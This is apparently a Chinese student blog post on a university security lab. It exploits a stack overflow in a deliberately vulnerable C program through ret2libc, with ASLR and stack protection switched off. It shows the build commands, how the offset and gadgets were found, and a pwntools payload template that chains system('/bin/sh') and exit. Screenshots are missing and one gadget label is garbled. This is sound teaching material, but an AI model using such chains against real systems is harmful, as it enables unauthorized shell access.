0
点赞
收藏
分享

微信扫一扫

【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

Ret2libc:Return to libc,顾名思义,就是通过劫持控制流使控制流指向libc中的系统函数,从而实现打开shell等其他工作。

在本次作业中,我们的目标是通过运行stack.c程序来访问系统上的/tmp/flag程序的内容,其中,可以看到stack.c的程序的源代码如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>

void start() {
  printf("IOLI Crackme Level 0x00\n");
  printf("Password:");

  char buf[64];
  memset(buf, 0, sizeof(buf));
  read(0, buf, 256);

  if (!strcmp(buf, "250382"))
    printf("Password OK :)\n");
  else
    printf("Invalid Password!\n");
}

int main(int argc, char *argv[]) {

  setreuid(geteuid(), geteuid());
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF,0);

  start();

  return 0;
}

        其中不难发现read的数量大于Buf应该有的64个字节,显然这种情况会导致栈溢出,并且覆盖start函数的返回地址,进而给攻击者留下可乘之机。

        在本次作业中,我使用的系统版本是:Linux version 5.13.0-28-generic (buildd@lgw01-amd64-035) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #31~20.04.1-Ubuntu SMP Wed Jan 19 14:08:10 UTC 2022

        关闭ASLR:

sudo sysctl -w kernel.randomize_va_space=0

        首先对stack.c程序进行编译,本次作业为了简化操作,使用的是32位的编译方式,同时关闭栈保护,具体而言,编译命令是:

gcc -fno-stack-protector -z execstack -no-pie -g -m32 stack.c -o stack

        -g是为了后期进行gdb调试,其他的操作在任务书上都有说明,注意,如果-m32出现错误,可能是系统本身并没有32位的库,可以通过以下命令来尝试解决

    $ sudo apt-get install gcc-multilib

        那么我们现在显然已经有了一个编译完成了的stack的程序,我们来看看他溢出的话会在哪个地址具体溢出,使用以下命令:

ulimit -c unlimited

        这个命令可以让核心转储,进而让攻击者看到溢出的eip内容,进而确认溢出的内容。然后输入以下内容创造溢出:

        如果是Kali的话,你的core会直接出现在文件的旁边,但是对于Ubuntu而言,你会发现core似乎没有出现在文件的附近,对于这种情况,你可以使用这种方法来寻找core:r

sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t

        然后去tmp里面找core,找到自己的core,用GDB查看溢出到EIP内容:

 

         可以看到你的eip为61616174,他的ASCII码值是aaat,通过指令判断偏移值:

cyclic -l 'aaat'

        得到的数值是73,但是由于是小端对齐(这个我也不确定),所以应该在76位置写入,记录该数值。(具体会因环境不同而不同)

        由于没有开启地址随机化,所以在这里函数的地址是固定的,然后我们需要找到各种功能库函数的地址,根据提示,我们需要找到exit(),read(),write()函数的地址,一般来说,你可以直接通过gdb函数去找到函数的偏移值,然后去加上库函数的地址(例如找read的话就在调试的时候输入p read,就会显示出一个地址),不过我们在这里可以用一下老师的方法,具体而言,第一步是查看程序调用了系统的哪个库函数:

        可以看到我们的调用的库函数是 /lib/i386-linux-gnu/libc.so.6,那么

        将000340d0+f7d36000相加,即可得到此时exit的地址(该地址会随环境不同而不同)

        如法炮制,找到其他函数地址,将其记录。

 

 

        最后我们要找到 pop ret 和pop ret ret以及其他操作(我们需要这个作为返回地址,好让我们可以弹出参数然后通过ret进入下一个系统函数),使用Ropgadget去寻找:

ropper --file ./stack_test | grep "pop" | grep "ret"

 

 得到相应地址,PPPR是0x08049401,PPR是0x08049402,PR是PPPR是0x08049403

        至此所有需要的地址都获取完毕,填入老师给的攻击代码,运行,作业第一部分完成:

from pwn import *
p = process("./stack_test")

PR = 0xbfc0ffee  # need to change accordingly; PPR, PPPR may also needed
# "pop ret" gagdet is used for cleaning stack, in 32bit system

payload = b'A' * num

# open("/tmp/flag", 0)  #some note for file reading
# read(3, buf, 1048)
# write(1, buf, 1048)

# BUF = 0x804c500
# payload += p32(READ)
# payload += p32(PPPR)
# payload += p32(0)
# payload += p32(BUF)
# payload += p32(len("/tmp/flag"))

payload += p32(0xbfc0ffee) # printf
payload += p32(PR)
payload += p32(0xbfc0ffee) # "/bin/sh"

payload += p32(0xbfc0ffee) # system 
payload += p32(PR)
payload += p32(0xbfc0ffee) # "/bin/sh" 

payload += p32(0xbfc0ffee) # exit
payload += p32(0xdeadbeef)
payload += p32(0) # nicely exit

p.sendline(payload)

#p.recvuntil("blabla") #receive data until one of delims ("blabla") is encountered.
#p.send("/tmp/flag")  # send more info 

p.interactive()

# More info about pwntools: 
# https://docs.pwntools.com/en/stable/index.html

         可以看到攻击结果:

        已经成功读出了flag的内容(注意,flag内容需要自行创建) 

        

举报

相关推荐

0 条评论